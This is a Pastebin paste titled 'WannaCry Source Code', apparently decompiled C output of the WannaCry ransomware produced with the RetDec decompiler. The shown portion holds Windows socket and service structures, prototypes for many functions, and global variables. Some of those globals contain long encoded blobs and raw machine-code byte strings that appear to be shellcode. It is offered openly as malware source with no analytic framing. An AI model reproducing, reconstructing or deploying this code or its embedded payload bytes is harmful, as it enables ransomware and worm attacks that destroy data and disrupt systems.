Advertisement
FlyFar

WannaCry Source Code

Feb 23rd, 2023
1,149
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 481.26 KB | Cybersecurity | 0 0
  1. //
  2. // This file was generated by the Retargetable Decompiler
  3. // Website: https://retdec.com
  4. // Copyright (c) 2017 Retargetable Decompiler <info@retdec.com>
  5. //
  6.  
  7. #include <arpa/inet.h>
  8. #include <netinet/in.h>
  9. #include <stdbool.h>
  10. #include <stdint.h>
  11. #include <stdio.h>
  12. #include <stdlib.h>
  13. #include <string.h>
  14. #include <sys/select.h>
  15. #include <sys/socket.h>
  16. #include <time.h>
  17. #include <windows.h>
  18.  
  19. // ----------------- Float Types Definitions ------------------
  20.  
  21. typedef double float64_t;
  22. typedef long double float80_t;
  23.  
  24. // ------------------------ Structures ------------------------
  25.  
  26. struct WSAData {
  27.     int16_t e0;
  28.     int16_t e1;
  29.     int16_t e2;
  30.     int16_t e3;
  31.     char * e4;
  32.     char e5[1];
  33.     char e6[1];
  34. };
  35.  
  36. struct _LARGE_INTEGER {
  37.     int64_t e0;
  38. };
  39.  
  40. struct _LIST_ENTRY {
  41.     struct _LIST_ENTRY * e0;
  42.     struct _LIST_ENTRY * e1;
  43. };
  44.  
  45. struct _OVERLAPPED {
  46.     int32_t e0;
  47.     int32_t e1;
  48.     int32_t e2;
  49.     char * e3;
  50. };
  51.  
  52. struct _RTL_CRITICAL_SECTION {
  53.     struct _RTL_CRITICAL_SECTION_DEBUG * e0;
  54.     int32_t e1;
  55.     int32_t e2;
  56.     char * e3;
  57.     char * e4;
  58.     int32_t e5;
  59. };
  60.  
  61. struct _RTL_CRITICAL_SECTION_DEBUG {
  62.     int16_t e0;
  63.     int16_t e1;
  64.     struct _RTL_CRITICAL_SECTION * e2;
  65.     struct _LIST_ENTRY e3;
  66.     int32_t e4;
  67.     int32_t e5;
  68.     int32_t e6;
  69.     int16_t e7;
  70.     int16_t e8;
  71. };
  72.  
  73. struct _SERVICE_STATUS {
  74.     int32_t e0;
  75.     int32_t e1;
  76.     int32_t e2;
  77.     int32_t e3;
  78.     int32_t e4;
  79.     int32_t e5;
  80.     int32_t e6;
  81. };
  82.  
  83. struct _SERVICE_TABLE_ENTRYA {
  84.     char * e0;
  85.     void (**e1)(int32_t, char **);
  86. };
  87.  
  88. struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING {
  89.     char e0[1];
  90. };
  91.  
  92. struct _IP_ADDR_STRING {
  93.     struct _IP_ADDR_STRING * e0;
  94.     struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING e1;
  95.     struct _TYPEDEF_IP_ADDRESS_STRING__PIP_ADDRESS_STRING_IP_MASK_STRING__PIP_MASK_STRING e2;
  96.     int32_t e3;
  97. };
  98.  
  99. struct _IP_ADAPTER_INFO {
  100.     struct _IP_ADAPTER_INFO * e0;
  101.     int32_t e1;
  102.     char e2[1];
  103.     char e3[1];
  104.     int32_t e4;
  105.     char e5[1];
  106.     int32_t e6;
  107.     int32_t e7;
  108.     int32_t e8;
  109.     struct _IP_ADDR_STRING * e9;
  110.     struct _IP_ADDR_STRING e10;
  111.     struct _IP_ADDR_STRING e11;
  112.     struct _IP_ADDR_STRING e12;
  113.     bool e13;
  114.     struct _IP_ADDR_STRING e14;
  115.     struct _IP_ADDR_STRING e15;
  116.     int32_t e16;
  117.     int32_t e17;
  118. };
  119.  
  120. struct _IP_PER_ADAPTER_INFO_W2KSP1 {
  121.     int32_t e0;
  122.     int32_t e1;
  123.     struct _IP_ADDR_STRING * e2;
  124.     struct _IP_ADDR_STRING e3;
  125. };
  126.  
  127. struct fd_set {
  128.     int32_t e0;
  129.     int32_t e1[1];
  130. };
  131.  
  132. struct in_addr {
  133.     int32_t e0;
  134. };
  135.  
  136. struct sockaddr {
  137.     int16_t e0;
  138.     char e1[14];
  139. };
  140.  
  141. struct timeval {
  142.     int32_t e0;
  143.     int32_t e1;
  144. };
  145.  
  146. // ------------------- Function Prototypes --------------------
  147.  
  148. int32_t entry_point(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
  149. void function_401000(void);
  150. void function_401010(void);
  151. void function_401030(void);
  152. int32_t function_401040(int32_t a1, int32_t a2, int32_t a3, int32_t a4);
  153. int32_t function_401140(char * str2, char * str, int32_t a3);
  154. int32_t function_401190(char * a1, int32_t a2, char * a3, char * a4, char * a5);
  155. void function_401310(void);
  156. int32_t function_401370(int32_t a1, int32_t a2, int32_t a3, float64_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, float64_t a16, int32_t a17, int32_t addr, int32_t a19, int32_t a20, int32_t a21, char * a22, int32_t a23, int32_t buf2, int32_t a25, int32_t a26, int32_t a27, int32_t a28);
  157. int64_t function_401660(int64_t a1, int32_t a2, int32_t a3);
  158. int32_t function_4017b0(char * a1, char * a2);
  159. int32_t function_401980(struct sockaddr * cp, int32_t host_short);
  160. int32_t function_401b70(char * cp, int32_t a2, int32_t host_short);
  161. int32_t function_401d80(void);
  162. int32_t function_406eb0(int32_t a1);
  163. int32_t function_406ed0(int32_t a1);
  164. int32_t function_406f00(int32_t a1, int32_t a2, uint32_t a3, int32_t a4);
  165. int32_t function_406f50(int32_t a1, int32_t a2, char * a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10, int32_t a11, int32_t a12, int32_t a13, int32_t a14, int32_t a15, int32_t a16, int32_t a17, int32_t a18, int32_t a19, int32_t a20, int32_t a21, int32_t a22, int32_t a23, int32_t a24, int32_t a25, int32_t a26, int32_t a27, int32_t a28, int32_t a29);
  166. int32_t function_4072a0(char * cp, int32_t a2, int32_t host_short);
  167. int32_t function_407480(int32_t a1);
  168. int32_t function_407540(char * a1, int32_t a2, int32_t a3);
  169. int32_t function_407620(void);
  170. int32_t function_407660(void);
  171. int32_t function_4076b0(char * a1);
  172. int32_t function_407720(int32_t a1);
  173. int32_t function_407840(char * str2, char * format, int32_t (**a3)(char *), char * a4, int32_t a5);
  174. char * function_407a20(void);
  175. int32_t function_407b90(void);
  176. int32_t function_407bd0(int32_t a1);
  177. int32_t function_407c40(void);
  178. char * function_407ce0(void);
  179. int32_t function_407f20(void);
  180. int32_t function_407f30(int32_t a1);
  181. int32_t function_407f89(int32_t a1, int32_t lpInfo, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, char * hService, int32_t a9, int32_t a10, int32_t a11);
  182. char * function_408000(void);
  183. int32_t function_408090(int32_t a1, int32_t a2);
  184. int32_t function_408140(void);
  185. int32_t function_4081d0(void);
  186. void function_408200(char * a1, char * a2, int32_t a3);
  187. int32_t function_4082b0(int32_t * a1, int32_t a2);
  188. int32_t function_4082c0(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
  189. int32_t function_408390(int32_t * a1, int32_t * a2, int32_t a3);
  190. int32_t function_4085d0(int32_t * a1, int32_t * a2, int32_t a3);
  191. int32_t function_4089d0(int32_t * a1, int32_t a2);
  192. int32_t function_408a10(int32_t a1);
  193. int32_t function_408a60(int32_t * a1, int32_t a2, int32_t * a3, int32_t * a4, int32_t a5, int32_t a6);
  194. int32_t function_408cd0(int32_t a1, int32_t a2);
  195. int32_t function_408d30(int32_t * a1);
  196. int32_t function_408d50(int32_t * a1, int32_t a2);
  197. int32_t function_408db0(int32_t result, int32_t a2, int32_t a3);
  198. int32_t function_408dd0(int32_t a1);
  199. int32_t function_408e30(int32_t * a1, int32_t * a2);
  200. int32_t function_408e50(int32_t a1, int32_t host_long, int32_t host_long2, int32_t a4);
  201. void function_409040(void);
  202. int32_t function_409050(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
  203. int32_t function_409080(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
  204. int32_t function_4090b0(int32_t * a1, int32_t * a2);
  205. int32_t function_4090d0(int32_t host_long, int32_t host_long2, int32_t host_long3);
  206. int32_t function_409110(int32_t host_long);
  207. int32_t function_409160(char * cp, struct _IP_PER_ADAPTER_INFO_W2KSP1 * a2);
  208. int32_t function_409470(int32_t * a1, int32_t a2, int32_t * a3, int32_t a4);
  209. int32_t function_409680(int32_t * a1, int32_t a2, int32_t a3, int32_t a4);
  210. int32_t function_409750(int32_t * a1, int32_t a2, int32_t a3);
  211. void function_4097b0(void);
  212. int32_t function_4097fe(char * a1);
  213. void function_40980a(void);
  214. int32_t (**function_409816(int32_t (**a1)(), int32_t a2))();
  215. void function_409842(int32_t a1);
  216. int32_t function_409860(int32_t a1);
  217. void function_409890(void);
  218. void function_409952(void);
  219. void function_409a0a(void);
  220. int32_t function_409b54(int32_t a1, int32_t a2, int32_t a3);
  221. int32_t function_409b68(int32_t status);
  222. void function_409b74(void);
  223. int32_t function_409b8c(void);
  224. int32_t function_409b9e(void);
  225. int32_t function_409ba1(void);
  226. int32_t function_409ba2(int32_t * a1);
  227. int32_t unknown_407fa0(int32_t a1, int32_t a2);
  228. int32_t unknown_40a100(void);
  229. int32_t unknown_40a108(void);
  230. int32_t unknown_40a120(void);
  231. int32_t unknown_40a144(void);
  232. int32_t unknown_40a180(void);
  233.  
  234. // --------------------- Global Variables ---------------------
  235.  
  236. int32_t g1 = 0; // eax
  237. int32_t g2 = 0; // ebp
  238. int32_t g3 = 0; // ebx
  239. int32_t g4 = 0; // ecx
  240. int32_t g5 = 0; // edi
  241. int32_t g6 = 0; // edx
  242. int32_t g7 = 0; // esi
  243. int32_t g8 = 0; // esp
  244. int32_t g9 = 0x5b5d5e5f; // 0x401650
  245. int32_t g10 = -0x72e73b7d; // 0x407989
  246. int32_t g11 = -0x3b7c0f75; // 0x4079b9
  247. int32_t g12 = 0x1023d; // 0x4079ce
  248. int32_t g13 = 0x7815ff56; // 0x4079de
  249. int32_t g14 = 0x15ff326a; // 0x4079e5
  250. int32_t g15 = -0x7eb9; // 0x4079ed
  251. int32_t g16 = 443; // 0x407a0c
  252. int32_t g17 = -0x17afffdc; // 0x409281
  253. int32_t g18 = -0x97a0f75; // 0x4092ca
  254. int32_t g19 = -0x17afffdc; // 0x40933e
  255. int32_t g20 = 0x1424748b; // 0x409365
  256. int32_t g21 = -0x5effda01; // 0x409b74
  257. int32_t g24 = 0x448908c6; // 0x410800
  258. char * g25; // 0x41b924
  259. char * g26; // 0x41b9b0
  260. char * g27; // 0x41ba3c
  261. char * g28; // 0x41bab0
  262. int16_t * g29 = (int16_t *)0x35100000; // 0x41bb4c
  263. char * g30; // 0x41bbb0
  264. int16_t * g31 = (int16_t *)0x35100000; // 0x41c3b8
  265. int16_t * g32 = (int16_t *)0x35100000; // 0x41e484
  266. int16_t * g33 = (int16_t *)0x35100000; // 0x41f4ec
  267. int16_t * g34 = (int16_t *)0x35100000; // 0x420554
  268. char g35[819] = "MK9f8lBAf/FKP5U2etKvFr+y0UzeQ50K1VhCDWxQIyPi78hG4ytDPs/1abcyyE+Zz82FmWbwA6SnUjO/25jXVospykFgiPFrDMiCFBF0uut8WqNe7+7HmU8v+Ig4F+1eQ9MSR7WXiFiZXWHXj1crLYpGpFd95oYovDOvw+yWgkxqIT+R6V2F+o5RYMdg9YCMTgtiyu70wCgucw9RU1kqGkiYCOkKL0aWDOzuBO5S5CkTYAJdzE+W5XDCgX6cpWGhJ0FasNnH3NAfjYI0LszwpEDu98OBY+zmtTlZtC3oPFMWAC/Z0AlaKppAPj9wC+wTUvHaYebKOjTujZqL+ysbIsiANOz9as1cnBUVVGzas9ZZKOX83TZfRF3UTrZM1UxnxEDg+3tUKdUvZGixYunoOnldp/9oFIHacUCtHo6CGE6jgS0iRgbi3YfFyvD/+d8KjQ+vZREmGxZ+/yKtIKXOsz9+pMo0OiDcvtF3PlEUS6xy7ekKLyUOWAWFoR9s+H2bIXCRIo/Jdns9MdGkdz8+tco7bthLrJghq4A46rewPPAV1vte6FLbSLJonwdvJda4x4RldJLN4mRCT4nZ3t7O8oI/ePQxRdVXrtGJ0OQ5HlQrbdkvR6R7+hr8VdXdUcfdnHbb1BfzJiGI/e6+DyAxsdl29vVlXV0cVx6dNEAIkOVnLPajGppXEoiUc7sGlzOdU52RJCjgIVLG5Q/eKkNO9LTendYxljGopQHZ2SJXus2AQl97m0T6kswRtRBzqKS1cRYKce1MXGWmjsiMIrLz8NerBzf2NnrmQSBxUTIuUPqxoxBajr"; // 0x420800
  269. int16_t * g36 = (int16_t *)0x35100000; // 0x4215bc
  270. int16_t * g37 = (int16_t *)0x35100000; // 0x422624
  271. int16_t * g38 = (int16_t *)0x35100000; // 0x42368c
  272. int16_t * g39 = (int16_t *)0x35100000; // 0x4246f4
  273. int16_t * g40 = (int16_t *)0x35100000; // 0x42575c
  274. int16_t * g41 = (int16_t *)0x35100000; // 0x4267c4
  275. int16_t * g42 = (int16_t *)0x35100000; // 0x42782c
  276. int16_t * g43 = (int16_t *)0x35100000; // 0x428894
  277. int16_t * g44 = (int16_t *)0x35100000; // 0x4298fc
  278. int16_t * g45 = (int16_t *)0x31000000; // 0x42a964
  279. char * g46; // 0x42a9c4
  280. char * g47; // 0x42aa50
  281. char * g48; // 0x42aa94
  282. char * g49; // 0x42ab20
  283. int16_t * g50 = (int16_t *)0x31000000; // 0x42ab78
  284. int16_t * g51 = (int16_t *)0x35100000; // 0x42abd8
  285. char * g52 = "\x32\x42\x67\x48\x44\x59\x75\x39\x4d\x31\x52\x4f\x67\x31\x46\x6d\x73\x54\x6d\x37\x6a\x4a\x67\x30\x38\x69\x64\x4f\x6e\x54\x39\x37\x43\x56\x76\x4c\x76\x43\x44\x2f\x69\x47\x45\x69\x74\x2f\x6f\x39\x49\x4c\x45\x43\x46\x4c\x4a\x68\x36\x6e\x50\x48\x5a\x49\x78\x32\x51\x54\x6c\x4d\x54\x57\x6d\x54\x36\x6d\x38\x53\x43\x44\x64\x76\x6b\x43\x5a\x47\x53\x6d\x6b\x6d\x68\x79\x51\x59\x45\x4d\x77\x67\x57\x2b\x53\x78\x51\x47\x2f\x57\x4a\x78\x6b\x35\x53\x38\x37\x68\x41\x78\x5a\x38\x70\x46\x42\x6b\x64\x62\x64\x59\x62\x76\x30\x54\x75\x4d\x36\x4e\x30\x31\x78\x75\x78\x2f\x41\x38\x38\x47\x44\x57\x37\x45\x63\x2f\x30\x73\x4c\x44\x57\x4d\x34\x6a\x2b\x72\x64\x4b\x45\x63\x6f\x4b\x64\x2b\x51\x64\x56\x2f\x34\x58\x47\x78\x6b\x72\x38\x42\x6d\x30\x35\x46\x57\x77\x68\x41\x6c\x64\x73\x53\x73\x56\x6a\x6c\x36\x48\x73\x32\x46\x6c\x36\x34\x35\x56\x73\x77\x55\x57\x70\x31\x2f\x46\x34\x70\x68\x4b\x6d\x49\x63\x39\x4b\x31\x33\x58\x4f\x52\x37\x32\x62\x42\x6f\x50\x74\x66\x6d\x35\x53\x44\x45\x64\x68\x46\x5a\x41\x45\x42\x62\x45\x78\x53\x61\x77\x4c\x6d\x43\x74\x74\x4e\x41\x6e\x65\x70\x75\x41\x63\x73\x36\x4e\x58\x62\x4e\x66\x39\x4b\x4d\x51\x4e\x37\x4f\x45\x6d\x44\x2f\x34\x54\x55\x79\x35\x71\x74\x4e\x4b\x6b\x33\x38\x6f\x36\x65\x53\x79\x63\x52\x70\x4b\x6f\x6e\x2b\x56\x2f\x39\x61\x37\x5a\x30\x4d\x75\x43\x74\x41\x47\x4b\x6c\x4e\x71\x57\x61\x51\x4a\x32\x6b\x45\x2f\x44\x61\x79\x54\x30\x6a\x55\x59\x70\x5a\x6a\x4f\x72\x69\x57\x72\x42\x44\x4f\x31\x4a\x76\x50\x53\x44\x65\x54\x38\x4b\x55\x7a\x36\x39\x47\x67\x61\x65\x66\x6b\x55\x4b\x2f\x4d\x4b\x62\x71\x55\x39\x75\x7a\x51\x35\x38\x65\x2b\x50\x68\x4a\x6e\x35\x73\x79\x6f\x38\x63\x66\x6d\x76\x72\x2f\x57\x63\x57\x55\x30\x31\x78\x4b\x50\x4a\x50\x76\x37\x71\x56\x36\x33\x33\x61\x4f\x77\x34\x4b\x64\x42\x4e\x53\x4b\x68\x48\x5a\x48\x55\x33\x55\x4d\x4d\x6a\x6c\x37\x69\x47\x66\x6d\x6d\x5a\x30\x61\x62\x6f\x38\x4b\x75\x37\x63\x46\x35\x50\x6f\x31\x73\x65\x41\x37\x65\x62\x38\x32\x39\x5a\x2f\x63\x34\x51\x79\x4f\x4b\x4f\x43\x56\x65\x78\x44\x51\x66\x56\x76\x30\x52\x37\x57\x53\x66\x58\x31\x46\x41\x47\x42\x31\x61\x43\x41\x55\x2b\x75\x73\x6f\x78\x42\x56\x49\x48\x63\x64\x4f\x59\x78\x32\x43\x57\x38\x63\x57\x69\x51\x66\x2f\x4a\x73\x69\x67\x48\x30\x38\x48\x6d\x42\x6c\x34\x6e\x2b\x79\x6c\x39\x33\x77\x67\x79\x41\x6e\x4b\x42\x42\x55\x53\x55\x7a\x35\x6d\x50\x53\x54\x4d\x45\x56\x41\x32\x4c\x62\x4e\x6a\x35\x73\x37\x57\x57\x67\x56\x71\x78\x62\x64\x2f\x49\x6c\x47\x7a\x39\x56\x65\x52\x54\x4d\x65\x4a\x74\x53\x5a\x56\x42\x69\x68\x43\x6e\x45\x6a\x6d\x42\x75\x49\x70\x42\x44\x65\x2f\x6b\x50\x70\x6a\x57\x6f\x68\x4e\x75\x2f\x2b\x66\x4d\x4c\x65\x30\x6f\x37\x37\x55\x6d\x76\x50\x36\x66\x46\x6a\x35\x50\x47\x4c\x51\x56\x5a\x62\x42\x4c\x41\x54\x34\x33\x45\x35\x5a\x2f\x31\x43\x55\x45\x6e\x38\x55\x35\x4a\x4b\x44\x7a\x76\x43\x4e\x30\x45\x72\x4f\x76\x6a\x32\x4f\x4b\x4d\x61\x56\x47\x38\x44\x48\x61\x44\x4b\x76\x37\x36\x69\x45\x78\x30\x62\x55\x63\x68\x4f\x52\x46\x66\x67\x56\x56\x62\x7a\x49\x67\x4c\x6f\x70\x48\x45\x42\x72\x52\x51\x32\x6e\x66\x6e\x48\x59\x48\x4d\x45\x4d\x49\x46\x31\x6d\x59\x70\x36\x74\x38\x45\x52\x57\x4d\x38\x71\x47\x36\x47\x4e\x2b\x6c\x69\x68\x4e\x38\x75\x31\x72\x41\x37\x30\x4e\x4a\x4d\x74\x63\x47\x50\x6d\x2f\x59\x39\x4a\x55\x35\x6d\x38\x2b\x4e\x39\x68\x61\x76\x47\x70\x72\x2b\x6f\x4a\x62\x4e\x62\x4c\x48\x32\x33\x36\x39\x30\x4a\x67\x7a\x34\x38\x41\x4e\x62\x68\x69\x2f\x73\x62\x37\x6a\x4d\x52\x41\x6e\x50\x64\x47\x6a\x38\x38\x6a\x73\x6b\x67\x62\x5a\x69\x51\x55\x31\x63\x56\x37\x70\x76\x54\x77\x4e\x46\x55\x44\x4e\x4b\x44\x79\x37\x4a\x67\x6c\x4f\x77\x32\x63\x54\x65\x35\x37\x4b\x35\x6b\x72\x66\x6a\x4b\x75\x4e\x65\x2f\x47\x75\x46\x33\x50\x2b\x52\x6c\x50\x38\x50\x2b\x6e\x65\x50\x4c\x51\x6f\x70\x67\x2b\x44\x34\x51\x4a\x49\x49\x77\x38\x6b\x4b\x63\x30\x4b\x4f\x2f\x65\x6d\x56\x4a\x65\x44\x64\x58\x35\x76\x39\x4e\x53\x6e\x79\x2b\x78\x79\x61\x31\x30\x64\x31\x56\x4c\x76\x61\x71\x57\x54\x6c\x66\x62\x75\x69\x42\x73\x71\x55\x48\x4d\x33\x79\x79\x30\x6f\x53\x31\x49\x47\x46\x66\x63\x48\x73\x45\x2b\x64\x35\x50\x61\x61\x78\x52\x6d\x2f\x33\x70\x6f\x6c\x67\x75\x6f\x56\x68\x59\x2f\x69\x32\x68\x48\x73\x73\x6b\x56\x2b\x6b\x55\x41\x75\x6b\x5a\x47\x52\x71\x35\x72\x33\x41\x54\x58\x39\x61\x4a\x78\x41\x7a\x71\x2f\x54\x67\x42\x68\x69\x43\x42\x6a\x45\x55\x57\x4b\x5a\x33\x63\x45\x35\x75\x32\x50\x39\x2b\x34\x64\x52\x33\x6a\x66\x55\x32\x33\x74\x6c\x43\x7a\x2f\x74\x43\x55\x38\x68\x67\x6a\x61\x70\x43\x4f\x57\x5a\x76\x39\x66\x65\x78\x48\x49\x52\x69\x79\x6b\x36\x7a\x61\x79\x4e\x53\x48\x41\x68\x32\x69\x56\x69\x6d\x69\x45\x30\x69\x4f\x78\x53\x2f\x4f\x75\x52\x70\x62\x70\x75\x6e\x57\x65\x74\x55\x4e\x55\x69\x39\x39\x51\x64\x6e\x2f\x37\x37\x56\x67\x58\x6f\x41\x72\x6d\x6f\x4b\x44\x63\x37\x36\x54\x33\x45\x2b\x37\x5a\x68\x41\x66\x75\x44\x77\x4e\x33\x4f\x6c\x53\x4b\x39\x31\x4c\x5a\x4f\x4b\x36\x64\x49\x77\x6b\x4b\x6d\x6e\x47\x52\x4b\x33\x58\x34\x78\x56\x32\x79\x4f\x35\x61\x4b\x76\x2b\x39\x43\x56\x6e\x6f\x75\x6e\x36\x4d\x43\x34\x4f\x53\x6d\x64\x4b\x51\x72\x74\x4e\x34\x7a\x5a\x6e\x41\x53\x68\x50\x47\x61\x33\x79\x4c\x70\x71\x53\x33\x56\x76\x61\x44\x2b\x57\x35\x49\x52\x6b\x41\x39\x64\x68\x67\x4a\x69\x31\x4e\x6c\x59\x50\x44\x68\x4b\x51\x42\x32\x70\x72\x37\x47\x67\x70\x72\x62\x4c\x72\x75\x45\x38\x78\x74\x47\x6b\x71\x57\x47\x46\x74\x44\x6f\x71\x7a\x49\x58\x65\x58\x55\x33\x58\x56\x36\x4e\x4f\x73\x4b\x37\x54\x6c\x63\x48\x62\x42\x66\x35\x41\x6c\x37\x68\x51\x41\x38\x51\x43\x49\x62\x45\x35\x67\x34\x5a\x66\x77\x79\x4f\x45\x56\x55\x52\x6f\x72\x6c\x71\x42\x49\x74\x2b\x38\x49\x4c\x6f\x58\x4c\x44\x48\x64\x34\x58\x46\x38\x44\x38\x4d\x4f\x74\x44\x71\x32\x78\x47\x6d\x55\x31\x49\x41\x64\x31\x50\x67\x78\x4e\x48\x47\x2b\x39\x32\x47\x48\x38\x54\x6e\x45\x52\x59\x47\x58\x39\x56\x6e\x55\x5a\x74\x58\x73\x63\x35\x55\x59\x61\x76\x48\x2f\x6f\x66\x63\x31\x39\x35\x61\x66\x62\x36\x65\x44\x49\x79\x51\x4d\x6f\x65\x39\x54\x52\x54\x77\x74\x4d\x71\x74\x2f\x34\x68\x55\x66\x39\x57\x73\x67\x63\x68\x44\x64\x63\x6e\x75\x4d\x4f\x33\x63\x75\x54\x33\x74\x36\x57\x49\x4a\x75\x66\x37\x39\x47\x77\x52\x78\x77\x74\x79\x75\x4b\x32\x56\x42\x6b\x37\x68\x48\x75\x4d\x49\x53\x77\x33\x51\x31\x6c\x39\x31\x6d\x2b\x4a\x43\x32\x31\x71\x33\x61\x63\x4c\x79\x2b\x53\x62\x2b\x44\x58\x69\x4b\x37\x32\x31\x36\x75\x72\x59\x52\x64\x4b\x77\x36\x72\x47\x43\x2b\x5a\x39\x6b\x47\x51\x37\x7a\x61\x70\x30\x38\x38\x59\x46\x70\x70\x6e\x6c\x2b\x56\x78\x57\x70\x68\x71\x5a\x63\x6b\x2f\x57\x51\x80"; // 0x42b1b8
  286. char * g53 = "\x47\x77\x52\x78\x77\x74\x79\x75\x4b\x32\x56\x42\x6b\x37\x68\x48\x75\x4d\x49\x53\x77\x33\x51\x31\x6c\x39\x31\x6d\x2b\x4a\x43\x32\x31\x71\x33\x61\x63\x4c\x79\x2b\x53\x62\x2b\x44\x58\x69\x4b\x37\x32\x31\x36\x75\x72\x59\x52\x64\x4b\x77\x36\x72\x47\x43\x2b\x5a\x39\x6b\x47\x51\x37\x7a\x61\x70\x30\x38\x38\x59\x46\x70\x70\x6e\x6c\x2b\x56\x78\x57\x70\x68\x71\x5a\x63\x6b\x2f\x57\x51\x80"; // 0x42b76c
  287. char * g54; // 0x42bc40
  288. char * g55 = "\xc3\x56\x89\xc6\x83\xc6\x3c\x8b\x36\x01\xc6\x66\x81\x3e\x50\x45\x75\x09\x83\xc6\x78\x8b\x36\x01\xf0\x5e\xc3\x31\xc0\xeb\xfa\x56\x51\x57\x89\xc6\x31\xc0\x89\xc7\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9"; // 0x42c1f4
  289. char * g56; // 0x42c7a8
  290. char * g57 = "\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9"; // 0x42cd84
  291. char * g58 = "\xc1\xe7\x07\x29\xc7\x89\xf8\x31\xc9\x8a\x0e\x80\xf9"; // 0x42d310
  292. char * g59 = "\x89\xec\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5e\x5f\x5d\x5b\xc3\x53\x52\x51\x55\x48\x89\xe5\x48\x81\xec"; // 0x42de28
  293. char * g60; // 0x42e2a8
  294. char * g61; // 0x42e324
  295. char * g62; // 0x42e378
  296. int32_t g63 = 0x54000000; // 0x42e3d0
  297. int32_t g64 = 0x63000000; // 0x42e42c
  298. char * g65; // 0x42e494
  299. int32_t g66 = 0x4d53ff47; // 0x42e497
  300. int32_t g67 = 0x4a000000; // 0x42e4f4
  301. int32_t g68 = 0; // 0x42e510
  302. int32_t g69 = 0; // 0x42e511
  303. int32_t g70 = 0; // 0x42e512
  304. int32_t g71 = 0; // 0x42e513
  305. int32_t g72 = 0; // 0x42e514
  306. int32_t g73 = 0x10000000; // 0x42e515
  307. int32_t g74 = 0x100000; // 0x42e516
  308. int32_t g75 = 0x1000; // 0x42e517
  309. char * g76; // 0x42e544
  310. int32_t g77 = -0x78000000; // 0x42e5d0
  311. int32_t g78 = 0x5c000000; // 0x42e65c
  312. int32_t g79 = 0x400800; // 0x42e67c
  313. char g80[3] = "\b@"; // 0x42e67d
  314. int32_t g81 = 0x4e000000; // 0x42e6bc
  315. int32_t g82 = -0x100f800; // 0x42e6d8
  316. int32_t g83 = 0xfeff08; // 0x42e6d9
  317. char g85[3] = "\bA"; // 0x42e6dd
  318. int32_t g86 = 0xc0f0041; // 0x42e6de
  319. int32_t g87 = 0xee3401; // 0x42e6ed
  320. int32_t g88 = 0xee34; // 0x42e6ee
  321. int32_t g89 = 238; // 0x42e6ef
  322. int32_t g90 = 0xc000000; // 0x42e6f0
  323. int16_t * g91 = (int16_t *)0x4e100000; // 0x42e710
  324. int32_t g92 = -0x100f800; // 0x42e72c
  325. int32_t g93 = 0xfeff08; // 0x42e72d
  326. char g95[3] = "\bB"; // 0x42e731
  327. int32_t g96 = 0xd000e00; // 0x42e750
  328. int32_t g97 = 16; // 0x42e754
  329. char * g98 = "\x8b\x44\x24\x04\x60\x89\xc5\x81\xec\xb4"; // 0x42e758
  330. char g99[3] = "p}"; // 0x42ece9
  331. int32_t g100 = 256; // 0x42fa58
  332. int32_t g101 = 0; // 0x42fa5c
  333. int32_t g102 = 0x66e08948; // 0x42fa60
  334. int32_t g103 = 0x1df8a; // 0x4302ce
  335. char g105[2] = "R"; // 0x43137c
  336. struct _RTL_CRITICAL_SECTION * g106 = NULL; // 0x431418
  337. void (**g107)(int32_t) = NULL; // 0x431430
  338. int32_t g108 = 0; // 0x431434
  339. int32_t g109 = 0; // 0x431438
  340. int32_t g110 = 0; // 0x43143c
  341. int32_t g111 = 0; // 0x431440
  342. int32_t g112 = 0; // 0x431444
  343. int32_t g113 = 0; // 0x431448
  344. int32_t (*g114)(int32_t) = NULL; // 0x43144c
  345. float64_t g115 = 0.0; // 0x431450
  346. int32_t (*g116)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x431458
  347. char * g117; // 0x43145c
  348. int32_t (*g118)(int32_t, int32_t) = NULL; // 0x431460
  349. int32_t g119 = 0; // 0x431468
  350. int32_t g120 = 0; // 0x43146c
  351. int32_t g121 = 0; // 0x431474
  352. int32_t (*g122)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t) = NULL; // 0x431478
  353. int16_t * g123 = NULL; // 0x431480
  354. int32_t g124 = 0; // 0x431484
  355. int32_t g125 = 0; // 0x433ba0
  356. int32_t g126 = 0; // 0x433ba4
  357. int32_t g127 = 0; // 0x433ba8
  358. int32_t g128 = 0; // 0x433bac
  359. int32_t g129 = 0; // 0x433bb0
  360. char * g130; // 0x433bb4
  361. int32_t g131 = 0; // 0x4362c8
  362. int32_t g132 = 0; // 0x4362cc
  363. int32_t g133 = 0; // 0x4362d0
  364. int32_t g134 = 0; // 0x4362d4
  365. int32_t g135 = 0; // 0x4389f0
  366. int32_t g136 = 0; // 0x4389f4
  367. int32_t g137 = 0; // 0x4389f8
  368. int32_t g138 = 0; // 0x4389fc
  369. int32_t g139 = 0; // 0x438a00
  370. char * g140; // 0x438a04
  371. int32_t g141 = 0; // 0x43b118
  372. int32_t g142 = 0; // 0x43b11c
  373. int32_t g143 = 0; // 0x43b120
  374. int32_t g144 = 0; // 0x43b124
  375. int32_t g145 = 0; // 0x43b128
  376. int32_t g146 = 0; // 0x43b12c
  377. int32_t g147 = 0; // 0x43b130
  378. int32_t g148 = 0; // 0x43d840
  379. int32_t g149 = 0; // 0x43d844
  380. int32_t g150 = 0; // 0x43d848
  381. int32_t g151 = 0; // 0x43d84c
  382. int32_t g152 = 0; // 0x43d850
  383. char * g153; // 0x43d854
  384. int32_t g154 = 0; // 0x43ff68
  385. int32_t g155 = 0; // 0x43ff6c
